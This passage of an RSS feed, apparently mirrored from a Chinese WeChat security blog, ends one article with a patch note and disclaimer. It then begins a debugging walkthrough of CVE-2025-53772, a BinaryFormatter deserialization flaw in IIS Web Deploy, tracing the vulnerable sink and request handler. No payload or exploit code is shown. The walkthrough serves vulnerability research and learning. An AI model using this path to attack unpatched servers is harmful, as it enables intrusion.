normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> 还需要寻找其他 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Bean</span></code><span leaf=""> ，目前还没有找到。有兴趣的师傅可以一起研究下。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">修复方式</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">修复方式很直接，加入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">withAssignmentDisabled</span></code><span leaf=""> ，禁用了属性赋值操作：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.38333333333333336" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008724" src="https://wechat2rss.xlab.app/img-proxy/?k=2c4097cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkZ7wnCZj49wmKzbibAckDWBxv1UEUFhgEZR36xhJbDkhibl8rxY6NeU5Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure></div></div><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe mp_common_widget" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247492374">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a899344b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492374%26idx%3D1%26sn%3D7c2361e99bcf13f8a0601c4a4edc010e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 Sep 2025 07:00:00 +0800</pubDate>
    </item>
    <item>
      <title>手把手教你如何挖洞：CVE-2025-53772 IIS Web Deploy 反序列化漏洞调试分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492335&amp;idx=1&amp;sn=cc5f8d6f3d07b361d81bfabbfbf838e9</link>
      <description>这是一个比较简单的 .NET 反序列化漏洞，适合拿来入门学习。下面将调试分析过程分享给大家。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-09-07 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>这是一个比较简单的 .NET 反序列化漏洞，适合拿来入门学习。下面将调试分析过程分享给大家。</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c33dc244&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6Kbc3RyuWISoru76oVM6gDBj5dxtYNVzdyM3v7uibUicQdhADea5WPo2rQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">引言</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">IIS Web Deploy</span></code><span leaf=""> 是一个强大的工具和框架，用于简化 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">IIS Web</span></code><span leaf=""> 服务器的迁移、管理和部署。它能够轻松地将 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ASP.NET</span></code><span leaf=""> 和其他类型的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Web</span></code><span leaf=""> 应用程序从一种环境（如开发机）同步到另一种环境（如测试、预生产或生产服务器）。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">IIS Web Deploy</span></code><span leaf=""> 存在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BinaryFormatter</span></code><span leaf=""> 反序列化漏洞（ </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-53772</span></code><span leaf=""> ），影响 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">4.0 &lt; 10.0.2001</span></code><span leaf=""> 及更早版本。这是一个比较简单的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.NET</span></code><span leaf=""> 反序列化漏洞，适合拿来入门学习。下面将调试分析过程分享给大家。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞环境</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">下载存在漏洞的版本，安装完毕后在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">IIS</span></code><span leaf=""> 进行配置：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008674" class="rich_pages wxw-img" data-ratio="0.524074074074074" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=58d97d67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6K6WvicydWnCQ5nFKciauvtx8p2SJLichFpzulYicicaKJ2bu6Eia5licsBjm8Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008675" class="rich_pages wxw-img" data-ratio="1.1223776223776223" data-type="png" data-w="858" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=0a48a9be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6K8k8BWDick8fpgYKibdwcIoaj9ic7IlYDoAyEmlmQ4PBEygVOlZUQeficQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">触发点</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">漏洞触发点位于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Base64EncodingHelper.DeserializeHelper</span></code><span leaf=""> ，这里对序列化数据进行了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GZip</span></code><span leaf=""> 压缩：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008673" class="rich_pages wxw-img" data-ratio="0.225" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=c907a7c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzLxV0rey8SMxJMoXubHw6K1KwdymtyM3H3jM0AmZEJRuaG1TGMla5ibQcPrL7MlnBZmUJ9bRcHFCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">反向搜索，可以找到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DeploymentAgentHandler</span></code><span leaf=""> （继承于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">IHttpHandler</span></code><span leaf=""> 接口）的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BeginProcessRequest</span></code><span leaf=""> 函数，以及 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WDAgent</span></code><span leaf=""> （继承于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 